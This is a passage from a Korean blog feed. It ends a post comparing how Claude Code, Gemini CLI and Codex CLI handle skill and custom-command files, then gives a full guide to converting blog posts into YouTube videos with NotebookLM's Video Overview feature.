&lt;td&gt;&lt;strong&gt;글로벌 설정&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;~/.claude/CLAUDE.md&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;~/.gemini/GEMINI.md&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;~/.codex/AGENTS.md&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;동적 발견&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;작업 디렉토리 기준&lt;/td&gt;
&lt;td&gt;JIT 로드 (파일 접근 시)&lt;/td&gt;
&lt;td&gt;CWD까지 누적&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;크기 제한&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;없음&lt;/td&gt;
&lt;td&gt;없음&lt;/td&gt;
&lt;td&gt;32KB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;자동 생성&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;없음&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;/init&lt;/code&gt; 명령어&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;/init&lt;/code&gt; 명령어&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;비유하자면, &lt;strong&gt;CLAUDE.md/GEMINI.md/AGENTS.md는 사무실 공지사항&lt;/strong&gt;, &lt;strong&gt;Skill은 업무 매뉴얼&lt;/strong&gt;입니다. 하나는 항상 읽히고, 하나는 필요할 때만 꺼냅니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;어떤 도구를 선택해야 할까?&lt;/h2&gt;
&lt;p&gt;솔직히 말하면, Skill 기능만으로 도구를 선택하진 않습니다. 하지만 각 도구의 Skill 설계에서 &lt;strong&gt;철학의 차이&lt;/strong&gt;가 보입니다.&lt;/p&gt;
&lt;h3&gt;Claude Code가 적합한 경우&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;안전성 제어&lt;/strong&gt;가 중요할 때 — &lt;code class=&quot;language-text&quot;&gt;disable-model-invocation&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;allowed-tools&lt;/code&gt;로 세밀한 제어&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;서브에이전트 분리&lt;/strong&gt;가 필요할 때 — &lt;code class=&quot;language-text&quot;&gt;context: fork&lt;/code&gt;로 긴 작업을 깔끔하게 분리&lt;/li&gt;
&lt;li&gt;이미 Claude Code를 주력으로 사용 중일 때&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Gemini CLI가 적합한 경우&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;간단한 명령어를 빠르게&lt;/strong&gt; 만들고 싶을 때 — TOML 3줄이면 충분&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;멀티모달 입력&lt;/strong&gt;이 필요할 때 — &lt;code class=&quot;language-text&quot;&gt;@{이미지.png}&lt;/code&gt; 같은 파일 주입&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;토큰 효율&lt;/strong&gt;을 중시할 때 — Progressive Disclosure 방식&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Codex CLI가 적합한 경우&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;조직 단위 관리&lt;/strong&gt;가 필요할 때 — 5단계 스코프로 세분화&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;UI 커스터마이징&lt;/strong&gt;이 필요할 때 — &lt;code class=&quot;language-text&quot;&gt;openai.yaml&lt;/code&gt;로 아이콘, 색상 설정&lt;/li&gt;
&lt;li&gt;이미 OpenAI 생태계를 사용 중일 때&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;실전 팁 — 어떤 도구든 공통으로 적용되는 원칙&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;1. description을 잘 쓰세요.&lt;/strong&gt;
세 도구 모두 description을 보고 자동 호출 여부를 판단합니다. 모호하면 엉뚱한 타이밍에 호출됩니다.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. 부작용이 있는 작업은 수동 호출만 허용하세요.&lt;/strong&gt;
배포, 커밋, 메시지 전송 등은 실수로 자동 호출되면 큰일입니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Claude Code: &lt;code class=&quot;language-text&quot;&gt;disable-model-invocation: true&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Gemini CLI: Custom Command는 기본이 수동&lt;/li&gt;
&lt;li&gt;Codex CLI: &lt;code class=&quot;language-text&quot;&gt;allow_implicit_invocation: false&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;3. 스킬 파일은 짧게 유지하세요.&lt;/strong&gt;
500줄 이내가 권장됩니다. 길어지면 별도 파일로 분리하고 참조하세요.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4. 팀과 공유하려면 프로젝트 디렉토리에 저장하세요.&lt;/strong&gt;&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;# Claude Code
.claude/skills/my-skill/SKILL.md

# Gemini CLI
.gemini/skills/my-skill/SKILL.md
.gemini/commands/my-command.toml

# Codex CLI
.agents/skills/my-skill/SKILL.md&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Git으로 커밋하면 팀원 모두 같은 명령어를 사용할 수 있습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;자주 묻는 질문 (FAQ)&lt;/h2&gt;
&lt;h3&gt;SKILL.md 표준이 통일되어 있나요?&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://agentskills.io&quot;&gt;Agent Skills&lt;/a&gt;라는 오픈 스탠다드가 있고, Gemini CLI와 Codex CLI가 이를 따르고 있습니다. Claude Code도 비슷한 구조를 사용하지만 프론트매터 옵션에 차이가 있습니다. 완전한 호환은 아니지만, 핵심 구조(YAML 프론트매터 + 마크다운 본문)는 동일합니다.&lt;/p&gt;
&lt;h3&gt;하나의 Skill 파일을 여러 도구에서 쓸 수 있나요?&lt;/h3&gt;
&lt;p&gt;기본 구조가 비슷해서 &lt;strong&gt;간단한 스킬은 거의 그대로 사용 가능&lt;/strong&gt;합니다. 하지만 &lt;code class=&quot;language-text&quot;&gt;allowed-tools&lt;/code&gt;(Claude Code 전용), &lt;code class=&quot;language-text&quot;&gt;!{command}&lt;/code&gt; vs &lt;code class=&quot;language-text&quot;&gt;!`command`&lt;/code&gt; 같은 도구별 고유 문법이 있어서 완전한 호환은 어렵습니다.&lt;/p&gt;
&lt;h3&gt;Skill과 프롬프트 복사-붙여넣기의 차이는 뭔가요?&lt;/h3&gt;
&lt;p&gt;프롬프트 복사-붙여넣기는 텍스트만 전달하는 거지만, Skill은 &lt;strong&gt;도구 사용 제한, 자동 호출 제어, 서브에이전트 분리, 쉘 명령어 동적 주입&lt;/strong&gt; 같은 제어가 가능합니다. 자동차와 자전거의 차이라고 보시면 됩니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;마무리&lt;/h2&gt;
&lt;p&gt;AI 코딩 도구의 &lt;strong&gt;Skill/커스텀 명령어 기능은 이제 선택이 아니라 기본&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;p&gt;세 도구 모두 &quot;반복 작업을 파일로 저장하고 한 줄로 호출한다&quot;는 핵심은 같지만:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Claude Code&lt;/strong&gt;는 안전성 제어와 서브에이전트에 강하고&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Gemini CLI&lt;/strong&gt;는 간결함과 토큰 효율에 강하고&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Codex CLI&lt;/strong&gt;는 조직 관리와 UI 커스터마이징에 강합니다&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;어떤 도구를 쓰든, 반복하는 작업이 있다면 오늘 바로 Skill 파일 하나 만들어보세요.&lt;/p&gt;
&lt;p&gt;여러분은 어떤 AI 코딩 도구를 주로 사용하고 계신가요? 댓글로 알려주세요!&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;참고 자료&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.anthropic.com/en/docs/claude-code/skills&quot;&gt;Claude Code 공식 문서 — Skills&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/google-gemini/gemini-cli&quot;&gt;Gemini CLI GitHub 저장소&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/openai/codex&quot;&gt;OpenAI Codex CLI&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://agentskills.io&quot;&gt;Agent Skills 오픈 스탠다드&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[블로그 글을 유튜브 영상으로 만드는 법 — NotebookLM 동영상 변환 가이드]]></title><description><![CDATA[블로그 글을 유튜브 영상으로 변환 커버 — NotebookLM AI…]]></description><link>https://blog.javapark.kr/blog-to-youtube-with-notebooklm/</link><guid isPermaLink="false">https://blog.javapark.kr/blog-to-youtube-with-notebooklm/</guid><pubDate>Sat, 28 Mar 2026 12:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;https://github.com/javapark/blog-images/releases/download/images-v1/blog-to-youtube-with-notebooklm.png&quot; alt=&quot;블로그 글을 유튜브 영상으로 변환 커버 — NotebookLM AI 동영상 변환 가이드&quot;&gt;&lt;/p&gt;
&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;p&gt;블로그에 글을 열심히 써도, 읽는 사람이 한정되어 있다는 걸 느낄 때가 있습니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;이 글을 영상으로도 만들 수 있으면 좋겠는데, 촬영도 편집도 할 줄 모르는데...&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;결론부터 말씀드리면 — &lt;strong&gt;Google NotebookLM을 쓰면 블로그 글 하나로 AI 동영상을 만들 수 있습니다.&lt;/strong&gt; 촬영 장비도, 영상 편집 기술도 필요 없습니다. 글만 있으면 됩니다.&lt;/p&gt;
&lt;p&gt;이 글에서는 제가 실제로 블로그 포스팅을 NotebookLM 동영상으로 변환하고, 유튜브에 업로드한 전체 과정을 공유합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;전체 워크플로우 — 3단계&lt;/h2&gt;
&lt;p&gt;전체 흐름을 먼저 보면 이렇습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;블로그 글 작성 → NotebookLM에 업로드 → AI 동영상 생성 → 유튜브 업로드&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;단계&lt;/th&gt;
&lt;th&gt;도구&lt;/th&gt;
&lt;th&gt;소요 시간&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1. 글 작성&lt;/td&gt;
&lt;td&gt;티스토리 / 마크다운&lt;/td&gt;
&lt;td&gt;이미 완료&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2. 동영상 생성&lt;/td&gt;
&lt;td&gt;NotebookLM&lt;/td&gt;
&lt;td&gt;5~30분 (자동)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3. 유튜브 업로드&lt;/td&gt;
&lt;td&gt;YouTube Studio&lt;/td&gt;
&lt;td&gt;5~10분&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;핵심은 &lt;strong&gt;이미 쓴 글을 재활용&lt;/strong&gt;한다는 것입니다. 새로 콘텐츠를 만드는 게 아닙니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;1단계: 블로그 글 준비&lt;/h2&gt;
&lt;h3&gt;어떤 글이 동영상으로 적합한가?&lt;/h3&gt;
&lt;p&gt;모든 글이 영상으로 잘 변환되는 건 아닙니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;적합한 글&lt;/th&gt;
&lt;th&gt;부적합한 글&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;개념 설명, 비교 분석&lt;/td&gt;
&lt;td&gt;코드 위주의 튜토리얼&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;단계별 가이드&lt;/td&gt;
&lt;td&gt;짧은 팁/메모&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;도구 소개, 후기&lt;/td&gt;
&lt;td&gt;코드 스니펫 모음&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;FAQ, 체크리스트&lt;/td&gt;
&lt;td&gt;표만 있는 정리글&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;예를 들어, &quot;AI로 웹서비스 만드는 법&quot; 같은 글은 동영상으로 만들면 시각적으로 설명이 풍부해져서 효과적입니다. 반면 코드 줄 하나하나를 설명하는 튜토리얼은 텍스트가 더 낫습니다.&lt;/p&gt;
&lt;h3&gt;글을 준비하는 방법&lt;/h3&gt;
&lt;p&gt;NotebookLM에 소스를 넣는 방법은 여러 가지입니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;웹 URL 붙여넣기&lt;/strong&gt; — 티스토리 포스팅 URL을 그대로 입력&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;텍스트 복사/붙여넣기&lt;/strong&gt; — 마크다운이나 텍스트를 직접 붙여넣기&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Google Docs&lt;/strong&gt; — 구글 문서로 옮긴 후 연결&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PDF 업로드&lt;/strong&gt; — 글을 PDF로 변환 후 업로드&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;가장 간단한 건 &lt;strong&gt;블로그 URL을 그대로 넣는 것&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;2단계: NotebookLM으로 AI 동영상 생성&lt;/h2&gt;
&lt;h3&gt;NotebookLM 접속 및 노트북 생성&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://notebooklm.google.com&quot;&gt;NotebookLM&lt;/a&gt; 접속 (구글 계정으로 로그인)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;새 노트북 만들기&lt;/strong&gt; 클릭&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;소스 추가&lt;/strong&gt; &gt; 웹사이트 URL 또는 텍스트 붙여넣기&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;[이미지: NotebookLM 소스 추가 화면]&lt;/p&gt;
&lt;h3&gt;Video Overview 생성&lt;/h3&gt;
&lt;p&gt;소스를 추가하면 오른쪽에 &lt;strong&gt;Studio 패널&lt;/strong&gt;이 나타납니다.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Studio 패널에서 &lt;strong&gt;Video Overview&lt;/strong&gt; 선택&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;동영상 형식&lt;/strong&gt; 선택&lt;/li&gt;
&lt;li&gt;필요하면 &lt;strong&gt;커스텀 프롬프트&lt;/strong&gt;로 초점을 지정&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;생성&lt;/strong&gt; 클릭&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;[이미지: Video Overview 생성 버튼 클릭 화면]&lt;/p&gt;
&lt;h3&gt;동영상 형식 — 3가지 비교&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;형식&lt;/th&gt;
&lt;th&gt;특징&lt;/th&gt;
&lt;th&gt;가격&lt;/th&gt;
&lt;th&gt;추천 용도&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Brief&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;1~2분, 핵심 요약&lt;/td&gt;
&lt;td&gt;무료&lt;/td&gt;
&lt;td&gt;SNS 공유, 짧은 소개&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Explainer&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;3~5분, 개념 설명&lt;/td&gt;
&lt;td&gt;무료&lt;/td&gt;
&lt;td&gt;유튜브 업로드, 학습 콘텐츠&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Cinematic&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;5분 이상, 풍부한 애니메이션&lt;/td&gt;
&lt;td&gt;Ultra ($250/월)&lt;/td&gt;
&lt;td&gt;프로 수준 프레젠테이션&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;무료 계정&lt;/strong&gt;으로는 Brief와 Explainer를 사용할 수 있습니다. 블로그 글을 유튜브 영상으로 만드는 용도라면 &lt;strong&gt;Explainer&lt;/strong&gt;가 가장 적합합니다.&lt;/p&gt;
&lt;h3&gt;커스텀 프롬프트 활용&lt;/h3&gt;
&lt;p&gt;그냥 생성해도 되지만, 프롬프트를 주면 결과물이 더 좋아집니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;&quot;이 글의 핵심 내용을 개발자 독자를 위해 설명해줘.
Claude Code와 Supabase의 조합이 왜 효과적인지에 초점을 맞춰줘.&quot;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;프롬프트로 제어할 수 있는 것들:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;초점&lt;/strong&gt; — 어떤 부분을 중점적으로 다룰지&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;톤&lt;/strong&gt; — 전문적 / 캐주얼 / 교육적&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;대상&lt;/strong&gt; — 초보자용 / 경험자용&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;생성 시간&lt;/h3&gt;
&lt;p&gt;생성 버튼을 누르면 5~30분 정도 걸립니다. 페이지를 닫아도 백그라운드에서 생성이 계속됩니다. 완료되면 노트북에서 확인할 수 있습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;3단계: 유튜브에 업로드&lt;/h2&gt;
&lt;h3&gt;동영상 다운로드&lt;/h3&gt;
&lt;p&gt;NotebookLM에서 생성된 동영상을 &lt;strong&gt;다운로드&lt;/strong&gt; 합니다. MP4 파일로 저장됩니다.&lt;/p&gt;
&lt;h3&gt;YouTube Studio에서 업로드&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://studio.youtube.com&quot;&gt;YouTube Studio&lt;/a&gt; 접속&lt;/li&gt;
&lt;li&gt;오른쪽 상단 &lt;strong&gt;만들기&lt;/strong&gt; &gt; &lt;strong&gt;동영상 업로드&lt;/strong&gt; 클릭&lt;/li&gt;
&lt;li&gt;다운로드한 MP4 파일 선택&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;메타데이터 설정 — SEO가 여기서도 중요&lt;/h3&gt;
&lt;p&gt;블로그 SEO와 마찬가지로, 유튜브도 검색 최적화가 중요합니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;항목&lt;/th&gt;
&lt;th&gt;팁&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;제목&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;블로그 제목을 그대로 쓰되, &quot;영상 ver.&quot; 느낌 추가&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;설명&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;블로그 원문 링크 + 핵심 내용 요약 3~5줄&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;태그&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;블로그 태그와 동일 + &quot;NotebookLM&quot;, &quot;AI 동영상&quot; 추가&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;썸네일&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;블로그 대표이미지를 재활용하거나 약간 변형&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;카테고리&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;과학/기술 또는 교육&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;설명란 템플릿&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;[블로그 원문] https://javapark.tistory.com/entry/글-슬러그

이 영상은 AI JAVAPARK 블로그 포스팅을 Google NotebookLM으로
AI 동영상으로 변환한 콘텐츠입니다.

## 목차
00:00 인트로
00:30 핵심 개념
02:00 실전 예시
04:00 정리

## 키워드
#AI개발 #ClaudeCode #NotebookLM

---
AI JAVAPARK — AI와 함께 만드는 개발 이야기
Blog: https://javapark.tistory.com&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;블로그 원문 링크를 설명란 맨 위에 넣으면 &lt;strong&gt;블로그 유입&lt;/strong&gt;도 늘어나고, 구글 SEO에서도 상호 연결 효과를 얻을 수 있습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;콘텐츠 재활용 전략 — 글 하나로 3가지 만들기&lt;/h2&gt;
&lt;p&gt;이 워크플로우의 진짜 가치는 &lt;strong&gt;하나의 콘텐츠를 여러 형태로 재활용&lt;/strong&gt;하는 것입니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;블로그 글 (원본)
  ├── NotebookLM Explainer → 유튜브 영상
  ├── NotebookLM Brief → SNS 숏폼 (인스타, 쇼츠)
  └── NotebookLM Audio Overview → 팟캐스트&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;콘텐츠 형태&lt;/th&gt;
&lt;th&gt;플랫폼&lt;/th&gt;
&lt;th&gt;NotebookLM 형식&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;블로그 글&lt;/td&gt;
&lt;td&gt;티스토리&lt;/td&gt;
&lt;td&gt;원본&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;유튜브 영상&lt;/td&gt;
&lt;td&gt;YouTube&lt;/td&gt;
&lt;td&gt;Explainer / Cinematic&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;숏폼 영상&lt;/td&gt;
&lt;td&gt;YouTube Shorts, 인스타&lt;/td&gt;
&lt;td&gt;Brief&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;팟캐스트/오디오&lt;/td&gt;
&lt;td&gt;Spotify, 팟빵&lt;/td&gt;
&lt;td&gt;Audio Overview&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;글 하나 쓰면 4가지 채널에 콘텐츠를 배포할 수 있습니다. 1인 크리에이터에게는 이만한 효율이 없습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;주의할 점&lt;/h2&gt;
&lt;h3&gt;AI 생성 콘텐츠 표시&lt;/h3&gt;
&lt;p&gt;유튜브는 AI로 만든 영상에 대해 &lt;strong&gt;AI 생성 콘텐츠임을 표시&lt;/strong&gt;하도록 권장하고 있습니다. YouTube Studio 업로드 시 &quot;변경되거나 합성된 콘텐츠&quot; 옵션에서 해당 사항을 체크하세요.&lt;/p&gt;
&lt;h3&gt;무료 계정 제한&lt;/h3&gt;
&lt;p&gt;무료 NotebookLM 계정은 생성 횟수에 제한이 있습니다. 한 노트북당 생성 가능한 동영상 수가 정해져 있으므로, 프롬프트를 잘 작성해서 한 번에 만족스러운 결과를 얻는 게 중요합니다.&lt;/p&gt;
&lt;h3&gt;한국어 지원&lt;/h3&gt;
&lt;p&gt;Video Overview는 한국어를 포함한 여러 언어를 지원합니다. 다만 Cinematic 형식은 현재 영어만 지원됩니다. 무료로 사용하는 Brief/Explainer는 한국어로 생성 가능합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;자주 묻는 질문 (FAQ)&lt;/h2&gt;
&lt;h3&gt;NotebookLM Video Overview는 무료인가요?&lt;/h3&gt;
&lt;p&gt;Brief와 Explainer 형식은 무료로 사용할 수 있습니다. 구글 계정만 있으면 됩니다. Cinematic 형식만 Ultra 구독($250/월)이 필요하지만, 블로그 글을 유튜브 영상으로 만드는 용도라면 Explainer로 충분합니다.&lt;/p&gt;
&lt;h3&gt;블로그 글 URL을 넣으면 자동으로 전체 내용을 읽나요?&lt;/h3&gt;
&lt;p&gt;네, NotebookLM이 웹페이지의 텍스트 콘텐츠를 자동으로 추출합니다. 다만 이미지나 코드 블록의 세부 내용은 반영되지 않을 수 있으므로, 중요한 내용이 텍스트로 잘 작성되어 있는지 확인하세요.&lt;/p&gt;
&lt;h3&gt;생성된 동영상의 저작권은 누구에게 있나요?&lt;/h3&gt;
&lt;p&gt;NotebookLM으로 생성한 동영상의 저작권은 생성자에게 있습니다. 상업적 사용도 가능합니다. 다만 원본 블로그 글의 내용이 타인의 저작물을 포함하고 있다면 별도로 확인이 필요합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;마무리&lt;/h2&gt;
&lt;p&gt;정리하면, 블로그 글을 유튜브 영상으로 만드는 과정은 이렇습니다.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;블로그에 글을 쓴다&lt;/strong&gt; — 이미 하고 있는 일&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;NotebookLM에 URL을 넣고 Video Overview를 생성한다&lt;/strong&gt; — 5분 클릭&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;다운로드해서 유튜브에 업로드한다&lt;/strong&gt; — 메타데이터만 잘 채우면 끝&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;핵심은 &lt;strong&gt;새로운 콘텐츠를 만드는 게 아니라, 이미 쓴 글을 다른 형태로 변환하는 것&lt;/strong&gt;입니다. 글 쓰는 시간은 이미 투자했으니, 추가 10분만 투자하면 유튜브 채널까지 운영할 수 있습니다.&lt;/p&gt;
&lt;p&gt;저도 이 블로그의 포스팅을 하나씩 영상으로 변환해볼 예정입니다. 진행 과정도 공유하겠습니다.&lt;/p&gt;
&lt;p&gt;여러분은 블로그 글을 다른 형태로 재활용하고 있으신가요? 댓글로 알려주세요!&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;참고 자료&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://notebooklm.google.com&quot;&gt;NotebookLM 공식 사이트&lt;/a&gt; — 구글 AI 리서치 도구&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://support.google.com/notebooklm/answer/16454555?hl=ko&quot;&gt;NotebookLM Video Overview 생성 가이드 (공식)&lt;/a&gt; — 동영상 개요 생성 방법&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://blog.google/innovation-and-ai/products/notebooklm/generate-your-own-cinematic-video-overviews-in-notebooklm/&quot;&gt;Cinematic Video Overviews 출시 발표 (Google 공식 블로그)&lt;/a&gt; — 2026년 3월 신기능 소개&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://support.google.com/youtube/answer/57407&quot;&gt;YouTube Studio 고객센터&lt;/a&gt; — 동영상 업로드 가이드&lt;/li&gt;
